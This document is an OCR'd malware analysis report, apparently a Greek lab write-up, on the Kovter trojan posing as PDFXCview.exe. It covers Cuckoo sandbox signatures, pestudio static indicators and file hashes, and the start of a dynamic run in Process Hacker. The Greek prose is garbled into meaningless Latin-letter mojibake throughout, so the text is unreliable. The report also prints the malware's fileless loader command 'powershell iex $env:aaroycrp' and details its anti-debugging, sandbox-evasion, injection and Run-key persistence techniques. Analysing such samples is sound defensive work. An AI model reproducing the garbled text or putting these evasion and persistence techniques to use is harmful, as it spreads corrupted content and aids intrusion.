Yrapyxel kat maAL n duvatotnta AQPng TwV CUYKEKPLUEVWY apxeiwv. MAAlota, to

cuckoo mpoetdomnolet yia tnv mBavr Umapén ekteAéouwy TIou Sev €xouv yivel unpack.

Signatures

ITn ouvéxela Ba TAPOUCLACOUUE T QNMOTEAECUATA KOL TOL CUUMEPACHOTO TIOU

TIPOKUTITOUV amod Tn Xprnon Twv signhatures mou KateBAacape anod To community Tou cuckoo.

Me pmAe xpwpo mapaBEtovral Ta signatures mou aipopouV TO AELTOUPYIKO TwV windows, Ue

KLTpVO XpwHa autd mou adopouv T SIKTUWON Kal KUE KOKKLVO XPWHO aUTd Tou adopoulv

extractors.

To 1°signature mou eivat a€lo avadopac eivat to “Checks if process is being debugged

by a debugger”. Mo ouykekpluéva, xpnoltomnolel tn diepyaoia “isDebuggerPresent” tou

Windows kernel (Ewéva 16). Baoel autol cupmepaivoupe OTL To KOKOBoUAo Selypa €xel

HNXovLwopd mou avayvwpilel av kamola diepyacia tou unokeltal oe debugging. Onw¢ Ba

S0UUE OTN OUVEXELD AUTOG Oev elval 0 HOVASLKOC UNXAVIOHOC Tou OSLaBETel wote va

TIPOOTATEUTEL OO TNV AVAAUON).
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@ Checks if process is being debugged by a debugger (1 event) “
Time & API Arguments Status Return Repeated

<] 0
Feb.7,2019,1:56 a.m. @

Ewkova 16 - isDebuggerPresent

Evéladépov emiong mapouolalel n evepyomoinon tou signature mou UTIOSEIKVUEL
EVEPYELEG OUANOYNC MANPodopLWV ylo TO cloTnpa amd to malware. Mo CUYKeEKPLUEVQ,
NAey€e mAnpodopleg OXETIKA UE TNV NUEPOUNVia eykatdotaong twv Windows kal to Digital

Product ID (Ewéva 17).

© Collects information to fingerprint the system (MachineGuid,
DigitalProductld, SystemBiosDate) (2 events) ~

e HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
gistry NT\CurrentVersion\DigitalProductid
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows

registry NT\CurrentVersion\lnstallDate

Ewkova 17 - SuAdoyr mAnpo@opLwy cuaTiuatog

TéNog, evbladépov mapouoldlel kal to signature “The file contains an unknown PE
resource name possibly indicative of a packer”. To cuykekplpévo pag mAnpodopet yla umapén

portable executions mpokelpévou va yivel unpack éva apyeio (Ewdva 18).

© The file contains an unknown PE resource name possibly indicative of a
packer (3 events) "
resource name PNG

resource name WAVE

resource name MNone

Ewkova 18 - PE resource
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Itn ouvéxela Ba TMOPOUCLACOUME TA ONUAVIIKOTEPA network signatures tou
behavioural analysis. Npwto eudaviletal to “One or more potentially interesting buffers
were extracted, these generally contain injected code, configuration data, etc” (Ewoéva 19).
Auth Vv mAnpodopia umopoUl e va tn SLaoTAUPWOOULE KOL LE TA ATOTEAETATA TOU TteES OV
Dropped Buffers mou eibape mponyouuévwe (Ewdva 14). To OUyKeEKPLUEVO signature Sev
€Byale kamolo mepaltépw amnotéAdeopa. Na Buuicoupe emiong OTL yla TOV CUYKEKPLUEVO

buffer §ev mapéxovtat mAnpodopieg anod to VirusTotal.

@ One or more potentially interesting
buffers were extracted, these generally

contain injected code, configuration data,
etc.

Ewkova 19 - network signature #1

Evéladépov mapouatalel kot To signature “Allocates read-write-execute memory
(usually to unpack itself)” (Ewéva 20) 6mou BAEmou e OtTL yivetal xprion SUo cuvaptioswv. H
hia eival n NtProtectVirtualMemory (Ewéva 21) mou xpnollomnoleital yla va LetaBAnOet to
protection gvocg page pvnung, oto mapddelypa and KAtw PAEmoupe OtL n Slepyacia pe
process ID 236 (6ev eudaviotnke oto dévipo Slepyaciwv mpv) aAAAleL TV acdAlela evog
page UVAUNG o€ execute/readwrite pe tn orfpovon 64. Ytnv oucia AUTO TO KOUMATL UVAKNG

umnopet va ekteleotel, va StaBoaotel kal va eyypadel.

O Allocates read-write-execute memory (usually to unpack itself) (50 out of
196 events) (v

Ewkoéva 20 — network signature #2

Time & API Arguments Status  Return

process_identifier: 236

stack_dep_bypass: @

stack_pivoted: @
NtProtectVirtualMemory ~ heap_dep_bypass:@

length: 8192 1 0]
Feb.7,2019,1:55a.m. @ protection: 64

(PAGE_EXECUTE_READWRITE)

base_address: 0x00456800

process_handle: oxffffffff

Ewkéva 21 - NtProtectVirtualMemory
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H AaAAn ouvaptnon mou XPNOLUOTIOLEITOL OTO OUYKEKPLUEVO signature eivol n
NtAllocateVirtualMemory (Ewéva 22) n omola eite mapadidel eite kpatad eite kal ta Svo, pia
oeAiba pvnune. MapakAatw, N CUYKEKPLUEVN CUVAPTNON XPNOLUOTOLELTaL amnd Tnv Slepyacia

ue ID 236 mou amno to section Tou process memory eivat n PDFXCview.exe.

process_identifier: 236
region_size: 981120
stack_dep_bypass: 8@
stack_pivoted: 8
NtAllocateVirtualMemory ~ heap_dep_bypass: @
protection: 64 1 4]
Feb.7,2019,1:55a.m. @  (pAGE_EXECUTE_READWRITE)
base_address: 8x01370000
allocation_type: 12288
(MEM_COMMITIMEM_RESERVE)
process_handle: @xffFfffff

Ewova 22 - NtAllocateVirtualMemory

ITn ouvéyxela BAEmoupe signature mou pag urtodeilkvuel OtL To malware dnuloupyetl

OUVTOUEVOELG yla EKTEAEDLA. TO TILO AVAYVWPLOTIKO ival auto tou powershell (Etkova 23).

© Creates a shortcut to an executable file (2 events) ~

file Ch\Users\Cuckoo_Guest\AppData‘\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\019bb.Ink
C\Windows\System32\%ProgramData%\Microsoft\Windows\Start
file  Menu\Programs\Accessories\Windows PowerShel\Windows
PowerShell.Ink

Ewdéva 23 - Anutoupyio GUVTOUEUOEWV

Yrnapyel signature mou pag Seiyxvel otL Snuoupyouvtal 4 Umomnteg Slepyacieg mou
adopa TI¢ Slepyacieg oto §€vipo SlEpyacLwy TIOU TAPOUCLACTNKAV TOPATIAvw. BAEmouue

emiong OtL TpéXeL Ka KArolo script (iex Senv:aaroycrp) (Ewkdva 24).

© Creates a suspicious process (4 events) v

cmdline  regsvr32.exe

"C:AWindows\System32\WindowsPowerShell\w1.0\powershellexe" iex
cmdline
Senv:aaroycrp

cmdline  "CAWindows\system32\regsvr32.exe"

CAWindows\System32\WindowsPowerShell\wv1.0\powershell.exe iex

cmdline
Senv:aaroycrp

Ewkoéva 24 - Yronteg Siepyaoies
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Avadepetal ot yivetal drop €va ektedéowpo(pdfxcview.exe) oto ¢pakeho AppData

(Ewkdva 25).

© Drops an executable to the user AppData folder (1 event) W

file chUsersh\cuckoo_guesth\AppDatat\Local\Temp\pdfxcview exe

Ewova 25 - AppData folder - malicious file

INUavTkd emiong elval kat To signature “Tries to locate whether any sniffers are
installed”. Ztnv neplmtwon pag yivetat avalntnon and to malware yia tv Omopén tTwv €€NG
sniffers: Wireshark, Fiddler, Fiddler2, HTTPAnalyzerAddon, HTTPAnalyzerStd,
HTTPAnalyzerStandAlone (Ewkova 26).

@ Tries to locate whether any sniffers are installed (22 events) v
registry HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Wireshark.exe
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Wireshark.exe
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstal\Wireshark
registry HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstal\Wireshark
registry HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Fiddler.exe
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Fiddler.exe
registry HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fiddler2
registry HKEY_LOCAL_MACHINEASOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fiddler2
el

Ewdva 26 - Avalnitnon sniffers

Ze cuvbuaouO e To signature mou adopoloe tnv avalntnon yla sniffers, untdpyet To
TIAPOKATW Ssignature mou pag utodNAWVeL OTL To malware o€ TEPUTTWON TIOU UTTHPXE KATIOLOG
ano tou¢ sniffers mou mpoavadépBnkav Ba MPAYUATONOLOUCE ANMEYKATAOTACH TOU. AUTO
payuatomnoleital pe xprion t¢ RegOpenKeyEXA mou XpnolUoToLEiTal yla va avoiéel Eva

register key (Ewova 27).
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I © Queries for potentially installed applications (50 out of 60 events)

Time & API

RegOpenKeyExA
Feb. 7,2019,1:56 a.m. ©

RegOpenKeyExA
Feb.7,2019,1:56 a.m. @

RegOpenKeyExA
Feb. 7,2019, 1:56 a.m. ©

RegOpenKeyExA
Feb.7,2019,1:56 am. ©

Arguments

regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Wireshark

base_handle: 0x80000002

key_handle: 0x06000000

options: @

access: 000020019

regkey: HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Wireshark

regkey_r: SOFTWARE\Microsoft\wWindows\CurrentVersion\uninstall\Wireshark

base_handle: 0x80000061

key_handle: 0x00000000

options: ©

access: 0x00020019

regkey: HKEY CURRENT USER\SOFTWARE\Microsoft\Windows\CurrentvVersion\Uninstall\Wireshark

regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fiddler2

base_handle: 0x80000002

key_handle: 0x00000000

options: ©

access: 0x00020019

regkey: HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fiddler2

regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fiddler2

base_handle: 0x80000061

key_handle: 0x00000000

options: ©

access: 0x00020019

regkey: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fiddler2

Status

Return

~
Repeated
0

0

0

0

Ewkova 27 - Anteykataotaon sniffers

BAEMOUUE emiong oo To MapaAKATW signature otL to malware Payvel yla Sikalwpota

nou adopouv debugging mpoypappdatwy (Ewdva 28). And to kKevo SimAa oto system name

UMOPOULE Vo KaTaAdBoupe OtL dev BpEOnKe KATL TETOLO.

Time & API

LookupPrivilegeValueW
Feb.7,2019,1:56 a.m. @

@ Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Arguments Status

system_name:
privilege_name: SeDebugPrivilege

Return

Repeated

Ewoéva 28 — Avalritnon yia debugging Sikauwuaro
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MNapouoialovtal eniong dtadopa mbava malicious URLs (Ewdva 29).

I @ Potentially malicious URLs were found in the process memory dump (50 out of 632 events) v I

url http:/fcrl.comodo.net/TrustedCertificateServices.cri0

url http:/fusers.ocsp.d-trust.net03

url http:/fwww.usertrust.com1

url http:/ferl.ssc.lt/root-b/cacrl.crl0

url http:/fcrl.securetrust.com/STCA.crl0

url http:/fcrl.securetrust.com/SGCA.crl0

url http:/facraiz.icpbrasil.gov.br/DPCacraiz. pdf0=

url http:/fwww.ssc.lt/cps03

url http:/fwww.informatik.admin.ch/PKl/links/CPS_2_16_756_1_17_3_1_0.pdf0

url http:/fwww.certificadodigital.com.br/repositorio/serasaca/crl/SerasaCAll.crl0

url http:/fdownload.microsoft.com/download/E/C/E/ECE99583-2003-455D-B681-68DB610B44A4/WindowsXP-KB968930-x86-ENG.exe
url http:/fdownload.microsoft.com/download/A/7/5/A75BC017-63CE-47D6-8FA4-AFB5C21BACS4/Windows6.0-KB368930-x86.msu
url http:/fwww.digsigtrust.com/DST_TRUST_CPS_v990701.htmi0

url http:/fwww.microsoft.com/pki/certs/TrustListPCA.crt0

Ewova 29 - MSava kakoBouAa URLs

‘Evag €MUTAEOV UNXQVLOMOG TPOOTOCIAE ToU Xpnotwdomnoinoe to malware ntav va

eA€yel av UTIAPXEL KATIOLO antivirus eykKaTteoTNUEVO OTOV UTIoOAOYLOoTH pHag (Etkova 30).

© Attempts to identify installed AV products by installation directory (1 event) v

file C\ProgramData\Trend Micro

Ewdva 30 - lpoonadeia avayvwplong antivirus

TeAeutaiog UNXaviIopOg mpoaoTtaaciag NTav n mpoondadsila kKabuoTtépnaong tng avaluong
(Ewova 31). Mo ouykekpluéva, n Slepyacia regsvr32.exe mpoomnabeil va kabBuotepioeL Tnv
avaiuon yla 1262 SeutepoAemnta evw n Slepyacia PDFXCview yla 208 SeutepOAemrta.
Oupiloupe OtTL N avaAluon SLPKNOE TEPLITOU 25 AETTA OMOTE UIMOPOUHE va KataAnfoupe OTL

TO KOTAdEPE UE EMITUXLAL.
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Aprocess attempted to delay the analysis task. (2 events) v
description regsvr32.exetried to sleep 1262 seconds, actually delayed analysis time by 1262 seconds
description PDFXCview.exe tried 1o sleep 208 seconds, actually delayed analysis time by 208 seconds

Ewkova 31 - Mpoonadeia kaBuoTéPNong avaAuong

Mapatnpoupe emiong otL pia diepyaocia eykabiotatal pe TETOLO TPOMO, WOTE UE TO
Tou yivel to boot twv windows va yilvetatl autorun. Auto amotelel kol Tto persistence

mechanism tou cuykekpluévou malware. (Ewova 32).

@ Installs itself for autorun at Windows startup (1 event) v

regkey  HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\ reg_value  "C:\Users\Cuckoo_Guest\AppData\Local\d5129\98b81.bat"

Ewova 32 - Persistence mechanism

BAEmou e, emutAéoy, OTL yivetal mpoomdbeila va aAhaxBouv Ta security settings twv

browsers (Ewkova 33).

© Attempts to modify browser security settings (6 events) v
registry HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1206
registry HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\111809
registry HKEY_CURRENT_USER\Software\Microsoft\Windows'\CurrentVersion\Internet Settings\Zones\3\1809
registry HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\111206
registry HKEY_CURRENT_USER\Software\Microsoft\Windows'\CurrentVersion\Internet Settings\Zones\112300
registry HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\312300

Ewkova 33 - [Mpoonadsia aAdaync twv security settings twv browser

To napakdtw signature mou Ba mapouctactel xprlet 1dlaitepng mpoooxng Kabwe pag
TaPOUCLAleL TN OELPA e TNV omoia kaAouvtal ol Slepyaoieg HeTaty Toug (Ewdva 34). Itnv
ouola PBAfémoupe mw¢ otkodounbnke to Sévipo Twv Olepyacitwv. MO CUYKEKPLUEVQ,
TIAPATNPOULE OTL UE TN Xprion tng ouvaptnong NtSetContextThread n powershell kaAel Tnv
regsvr32 TOU OTN OUVEXELD KAAEL TOV €0UTO TNG. H ouykekpluévn ouvaptnon Sivel tn

Suvatotnta va aAaxBouv otoleia evog thread.
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© Used NtSetContextThread to modify a thread in a remote process indicative of process injection (4 events) v
Time & APl Arguments Status Return Repeated
Process injection Process 1224 called NtSetContextThread to modify thread in remote process 2440
Process injection Process 2440 called NtSetContextThread to modify thread in remote process 3916

registers. eip: 2004840600
registers.esp: 981384
registers.edi: 0
registers.eax: 1361616
NtSetContextThread registers.ebp: ©
registers.edx: 0 1 0 0
Feb.7,2019,1:56 a.m. @ registers.ebx: 2147348480
registers.esi:
registers.ecx: @
thread_handle: 8x0000031c
process_identifier: 2446

registers. eip: 2004840600
registers.esp: 2095168
registers.edi: @
registers.eax: 2475728
NtSetContextThread registers.ebp: 0
registers.edx: @ 1 1] 0
Feb.7,2019,1:57 a.m. @ registers.ebx: 2147348480
registers.esi. @
registers.ecx: ©
thread_handle: 6x6000022¢
process_identifier: 3916

Ewova 34

AMo éva signature mou CUUBAAAEL otnv Katavonon dnuioupylog tou S€vipou
Slepyaotwy eivat to “Resumed a suspended thread in a remote process potentially indicative
of process injection” (Ewova 35). To ouykekplpuévo adopd maAl ta {evyn twv powershell-
regsvr32 kal regsvr32-regsvr32. Edw yivetal xpnon tng¢ ocuvaptnong NtResumeThread, n
omola eAéyxel av €va thread €xel avaotalel n OxL. Auto eAéyxetal amo €vav counter mou
naipvel Tipeg -1,0,1. To -1 dnAwvel anotuyia Tng cuvaptnong, To 0 SnAwvel otL To thread dev
ATOV AVECTAAUEVO EVW HE TNV TN 1 SnAwveTtal OtL Atav aveotaApévo aAld Eavapyloe. ZTo
signature BAénmoupe otouc counters TNV TN 1, mou onuaivel otL n Slepyacia matépag eixe

Sdeopevoel To ekadotote thread mpokelpévou va to xpnolponotioet n Stepyaacia motdi.

© Resumed a suspended thread in a remote process potentially indicative of
process injection (4 events) v

Time & API Arguments Status Return Repeated

Process 1224 resumed a
Process injection thread in remote process
2440

Process 2440 resumed a
Process injection thread in remote process
3916

NtResumeThread thread_handle:
Ox0000831c

Feb.7,2019,1:56 suspend_count: 1 U o 4

a.m. © process_identifier: 24480

NtResumeThread  thread_handle
Ox0000022cC

Feb.7,2019,1:57 suspend_count: 1 1 @ 0
a.m. ©

process_identifier: 3916

Ewova 35
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MNapatnpoupe eniong 6tL To powershell.exe mpaypatonolei 18 eyypad£g eKTEAECIUWY

apxelwv oto dioko (Ewdva 36).

© The process powershell.exe wrote an executable file to disk (18 events) v
file C:\Windows\System32\ie4uinit.exe

file C:\Program Files\Windows Sidebar\sidebar.exe

file C:\Program Files\DVD Maker\DVDMaker.exe

file CAWindows\System32\unregmp?2. exe

file CAWindows\System3Z2\xpsrchvw.exe

file CAWindows\System32\displayswitch.exe

file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe

file C:\Windows\System32\mblctr.exe

file C:\Windows\System32\SoundRecorder.exe

file C:\Windows\System32\dfrgui.exe

file C:\Windows\System32\msinfo32.exe

file C:\Windows\System32\rstrui.exe

file C\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe

file C:\Windows\System32\MdSched.exe

Ewkova 36 — Eyypapn ekteAéoiuou apyeiov oto Sioko

KAelvovtag pe to section twv extractor signatures Ba avadépoupe to “Executed a
process and injected code into it, probably while unpacking” (Ewkéva 37). ESw katd kUpLo Adyo
€xoupe maAL 6éopevon thread, alhayn Twv oTolXeiwv Tou, aAAd TPOKELUEVOU va YiVeL inject
o kwdlkag oto ekaotote thread xpnowlomnoleitat n cuvaptnon CreateProcessinternalW. MaAt
oe autn tn dtadikaoia, mapatnpwvtag ta process id, cUPUETEXOUV oL Slepyaoieg powershell,

regsvr32 aAAa kat n dgUtepn regsvr32 mou eival diepyacia matdi tng mpwtng regsvr32.

© Executed a process and injected code into it, probably while unpacking (16 events) v
Time & API Arguments Status Return Repeated
NiResumeThread thread_handle: €x000000e4
Feb.7,2019,1:55a.m. suspend_count: 1 1 0 0
[~ process_identifier: 2880

thread_identifier: 3528
thread_handle: ©x008002c@
process_identifier: 1224
current_directory: C:\Windows\system32
filepath: C: \Windows\System32\WindowsPowerShell\v1.@\powershell.exe
CreateProcessinternalW 45041
Feb.7,2019,1:55a.m. command_line: " C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" iex $env:aaroycrp 1 1 0
o filepath_r: C:\Windows\System32\WindowsPowershell\vl.@\powershell.exe
stack_pivoted: @
creation_flags: 67634192
(CREATE_DEFAULT_ERROR_MODEICREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENTIEXTENDED_STARTUPINFO_PRESENT)
inherit_handles: @
process_handle: 0x000002c4

NitResumeThread thread_handle: 6x00900244

Feb.7,2019, 1:56 a.m. suspend_count: 1 1 0 0
I~ process_identifier: 1224

NiResumeThread thread_handle: €x008000298

Feb.7,2019,1:56 a.m. suspend_count: 1 1 ) 0
) process_identifier: 1224

Ewova 37
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2.2.2 Static Properties Analysis

Y€ aUTO TO onUElo MpoXwWPOUUE otnVv avaluon Twv static properties tou kovter, pe tn
BonBeLa tou pestudio, e 0KOTO va AVTACOUE GO0 TO SuVATOV TIEPLOCOTEPEG MANpodopieg
UMopoUUE yla To malware. Avapeca ota GAAa mapatnpoUpe tn ouvoyn sha256 tou
EKTEAECLUOU KOl TNV UPNAR TN TNG EVTPOTLAG, TNG TUXALOTNTAC SNAadh Twv dedopévwy oTo
apxelo, mou UTOSNAWVEL OTL TIPOKELTAL Ylot EVOL CUUTILECUEVO/KpuTttoypadnuévo malware

(Ewkdva 38).

=R~ c\users\dmangelo\desktop\malware|

Al indicators (6/33)

»
- dos-header (64 bytes)
- EX dos-stub (64 bytes)
- file-header (Oct.2003)

» optional-header (GUI)
-3 directories (invalid)
- sections (virtualized
-~ | libraries (4/13)

<1 imparts (114/367)

=
-+ resources (language)
-ate strings (119/4916)

property value

md5 15AF6227D39CA3FIDIDCDA566EFBO0ST

shal CBC3BFIEDI4ABEI4AEABIETATEGIERA026FB4039

sha256 40050153DCEECICEFBB191 2FBEEABEA49D1E265F0CB198008BEBB34E5403E731

md5-without-overlay 4D2CCBC32E4018CDCBCE330F834479D8

shal-without-overlay A3E8B30EDBCE92FOSBESEAC2216A1E]152E00688A

sha256-without-ove.. 0D7DB1BB7060CFAFDACT7383C541117FDEC3FB46578EDAD6D6165C683C15AAIB
first-bytes-hex 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 00...

first-bytes-text MZ o @
file-size 431884 (bytes)

size-without-overlay 431104 (bytes)

entropy 7483

imphash

signature

ITn OUVEXELQ,

Ewkova 38 - pestudio analysis

efetdlovpe TOo meblo imports Kal T OUVOPTNOEL TIOU

xpnotornotlouvtal Kol BAEMou e OTL To pestudio €xet emonuavel 114 wg blacklist (Ewkova 39).

= cusers\dmangelo\desktopymalware | name (367) group (15) mitre-technique (7) mitre-tactic (4)
4 indicators (6/33) CreateToolhelp32Snaps... execution Process Discovery Discovery
” CreateProcessA execution Execution through APT Execution
> dos-header (64 bytes) Sleep execution Virtualization/Sandbox Evasion Defense Evasion
E: 2::_:;:2:??;32;;)03) PostQuitMessage execution

> opticnal-header (GU) PostMessageA execution
# directories (invalid) ShellExecuteA execution Execution through APT Execution
> sactions (virtualized) ShellExecuteExA execution Execution through API Execution
41 libraries (4/13) ShellExecuteW execution Execution through API Execution
B8l imports (114/367)] ShellExecuteExW execution Execution through API Execution
= SetUnhandledException...
e RaiseException
@ resources (language) GetModuleHandleW dynamic-library
=be strings (119/4916) GetProcAddress dynamic-library
i& 3 LoadLibraryA dynamic-library Execution through API Execution
\2‘:;2?;;;?;2;?\22@ LoadLibraryExA dynamic-library Execution through API Execution
= GetModuleHandleA dynamic-library
[ overlay (unknown Ereelibrary dynamic-library
LoadLibraryW dynamic-library Execution through API Execution
GetModuleFileNameW dynamic-library
LoadLibrarvExW dynamic-library Execution through API Execution

Ewova 39 - kovter imports
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Mo ouyKkekpLEva, TapatnPoU e Tn cuvaptnon Sleep (Ewdva 40) TNG omolag n xpnon
€xeL emonuavOei and to pestudio wc Virtualization/Sandbox Evasion mitre-technique kaBwg
XPNOLLOTIOLELTOL OTNV MEPUTTWAON AVAYVWPLONG QTMOMOVWHEVOU TIEPLBAANOVTOG ) ELKOVLKNAG
UNXAVAC TIPOKEIMEVOU va KaBuoteproel/mapeunodioel tnv ektéAeon omolaodnmote
avaluong. YnevOupiloupe, TNV mpoonadela kaBuoTtépnong TG avAAUONG IOV TPOEKUYPE WG
anotéAeopa katd tn Sladkaoia TG AUTOUATOMOLNUEVNG avAAuonG amo to cuckoo (Ewdva

31)

IS eep execution Virtualization/Sandbox Evasion Defense Evasion I

Ewkéva 40 - Sleep function

AKOUN, TOPATNPOUE CUVOPTHOELS TTOU XPNOLUOTOLOUVTAL YL TNV OVAYVWON KAl ThV
gyypadn registry keys (Etkova 41). Autéc mou oxetilovtal e TNV avAyvwon enonuaivovtat
amno 1o pestudio wg ‘Discovery’ mitre-tactic kaBwg avtAouv MAnpodopieg yla ta registry keys
EVW OUTEG TTOU oxetTilovtal pe tnv gyypadn papkapovrtal we ‘Defence Evasion’ mitre-tactic
KaBW¢ XPNOLUOToLoTNVUVTAL yla TNV Tapdkapdn Twv HUNXOVIOUWVY TTPooTaciag HECW TNG

Tpomnomnoinong KataAnAwv THwv registry keys.

ReagSetValueExA registry Modify Registry Defense Evasion
RegCreateKeyExW registry

RegEnumKeyExA registry Query Reqgistry Discovery
RegQueryWalueExA registry

RegOpenKeyExW registry

RegSetValueEx\W registry Modify Registry Defense Evasion
ReaCloseKey registry

RegEnumValueA registry Query Reqistry Discovery
RegOpenKeyExA registry

RegEnumkeyExW registry Query Reqistry Discovery
RegEnumValueW registry Query Reqistry Discovery

Ewova 41 - Query/modify reg_keys

Téhog, mapatnpoUUe Ttn ouvdaptnon IsDebuggerPresent (Ewkova 42) mou
emonpaivetal and to gpyodeio wg ‘System Information Discovery’ mitre-technique kot
oXeTileTal Pe TOo signature mou eixe evepyormnolnBel katd TNV autopaTonolnuévn avaluon Tou

Selypatocg pe to cuckoo (Ewova 17).
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I IsDebuggerPresent system-information  System Information Discovery Discovery I

Ewkéva 42 - System Info Discovery

Avtiotolya kat oto nedio pe TG BIPALOONKeC, To pestudio £xel LopKAPEL 4 OO QUTEG

wg blacklisted (Ewova 43) utodeikvuovtag mbavr) KakdBouAn xprion Toug.

=B cusers\dmangelotdesktop\malware | library (13) blacklist (4) type (1) imports (367)  description
4 indicators (6/33) version.dll implicit 5 Version Checking and File Installation Libraries
1 oleaut32.dil implicit 2 © Microsoft Corporation. All rights reserved.
. dos-header (64 bytes) kernel32.dil implicit 165 Windows NT BASE API Client DLL
E:i 2:1{’:;22;?‘:5:2;)03) gdiz2dil miicit 2 GDI Client DLL
» optional-header (GU) comdlig32.dll implicit 4 Common Dialogs DLL
= directories (invalid) advapi32.dil implicit 24 Advanced Windows 32 Base API
> sections (virtualized) user32.dll implicit 100 Multi-User Windows USER API Client DLL
W_- ws2_32.dll X implicit 1 Windows Socket 2.0 32-Bit DLL
] imports (114/367) urimon.dll X implicit 1 OLE32 Extensions for Win32
= comcti32.dll implicit 5 Common Controls Library
- winmm.dll x implicit 1 MCIAPIDLL
G resources (language) shell32dll implicit 19 Windows Shell Comman DIl
=bc strings (119/4916) wininet.dIl X implicit 18 Internet Extensions for Win32

Ewova 43 — Libraries

Télog, mapouaotalovpe toug Seikteg Tou To epyaleio Bewpel UMomrtoug (€xouv
emonpavOet wg level 1). Avaueoa og autoucg o aplBuog twv cupBolroceipwy, BLBALOONKWY
KOL CUVOPTHOEWV TIOU TO £pYaAeio €xel papkapel wg blacklist kat n UMapén evog akoua

opxeiou oto offset: 0x00069400 (Ewbva 44).

=% c\users\dmangelo\desktop\malware | xmi-id  indicator (33) detail level
B indicators (6/33) 1430  The file references string(s) tagged as blacklist count: 119 1
2] 1525  The file contains another file type: unknown, location: overlay, offset: 0x00069400 1
-7 dos-header (64 bytes) 1302 Adirectory is invalid type: debug B
? z:z‘;z;z:f‘:;::;;)%) 1236 The f?le contains resour[e(f) in a language tagged as blacklist |language: chinese-Hong Kong 1
> optional-header (GUD 1269 The file references library(ies) tagged as blacklist count: 4 1
L8 directories (invalid) 1266  The file imports symbol(s) tagged as blacklist count: 114 1

Ewkova 44 - 10Cs

H apxwn afloAdynon tou malware kovter emaAnBevel ApKETA OO TOL CUUMEPACLATA
TIou €€AyoVTaL KATA TO TIPWTO OTASL0, QUTO TNC AUTOHOTOTIOLNMEVNG AVAAUONG KL TIAPEXEL
KOO TIEPLOOOTEPEG TTANPOdOpies YUpw amod tn dpdcn Tou cuyKekpLUEvou Trojan. Emouevo
BrApa ivat n duvaptkn avaAuon Tou malware yla tTnv ev tw BABeL HeAETN TNC CUUTIEPLDOPAS

TOov.
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2.2.3 Interactive Behavior Analysis - Capturing the traffic

Ma tn HeA€Tn tng ouumepldopd¢ tou Trojan Kovter XpnoLUOTMOLOUME HLA OELPA
gepyodeiwv ta omnoia pag BonBouv va katavoricoupe oe BAaBog tn dour Tou Kal Tov TPOMo
Aewtoupylog tou. H €eKTEAECH TOU TPAYUATOTOLE(TOL OE €va AMOUOVWUEVO TepLBAAAov
(windows vm), xwplg ocuvdeon oto Siktuo. EktehoUpe to Process Monitor kot to Process
Hacker kat otn ouvéxela ‘tpéxoupe’ to ekteAéoiuo PDFXCview. MapatnpoUpe TNV MOpoKATW
aAAnAouyia Stepyaciwyv (Ewdva 45, Eikdva 46) n omola emaAnBeVeL KAl TA ATMOTEAECUATA TIOU
e€nxBnoav katd tn Stadikaocio TG auTopaTomoLtNUEVNG avaluong tou deiypatog (Etkova 9).

B

-

Recycle Bin

1 process Hacker [WIN-RRPMR8GFJ31\testlab]

Hacker View Tools Users Help
%% Refresh (& Options | i Find handles or DLLs [2%| System information | ] [ 3¢ Search Processes (Ctrl+K)
Processes | Services | Network | Disk

Name CPU I/Ototalr.. Private by.. User name Description

B | svchost.exe 10.63 MB Host Process for Windows Serv...
B | VGAuthService.exe 4.2 MB VMware Guest Authentication ...
& vmtoolsd.exe % 857 MB VMware Tools Core Service
&= msdtcexe . Microsoft Distributed Transacti..
# | svchost.exe . Host Process for Windows Serv...
awal= # | SearchIndexer.exe X i Microsoft Windows Search Ind...
Shortcut # ' sppsvc.exe . Microsoft Software Protection ...
| svchost.exe . Host Process for Windows Serv...
| Isass.exe £ Local Security Authority Process
] Ism.exe X Local Session Manager Service
48] csrss.exe . . Client Server Runtime Process
B conhostexe - WIN-RRPMRSG..\testlab Console Window Host
@ winlogon.exe L Windows Logon Application
4| explorerexe 5 2345MB WIN-RRPMRSG..\testlab Windows Explorer
{3 vmtoolsd.exe . 988 B/s 891 MB WIN-RRPMRSG..\testlab VMware Tools Core Service
B processHacker.exe . 10.27 MB WIN-RRPMRSG..\testlab Process Hacker

‘3‘4‘ PDFXCview.exe X 517 MB WIN-RRPMR8G..\testlab PDF-XChange Viewer
Procmon64ss

Shortcut "C\Users\testlab\Desktop\PDFXCview.exe" i
CPU Usage: 7.65% | File: Les: 39
C\Users\testlab\Desktop\PDFXCview.exe

PDF-XChange Viewer 2.5.314.0
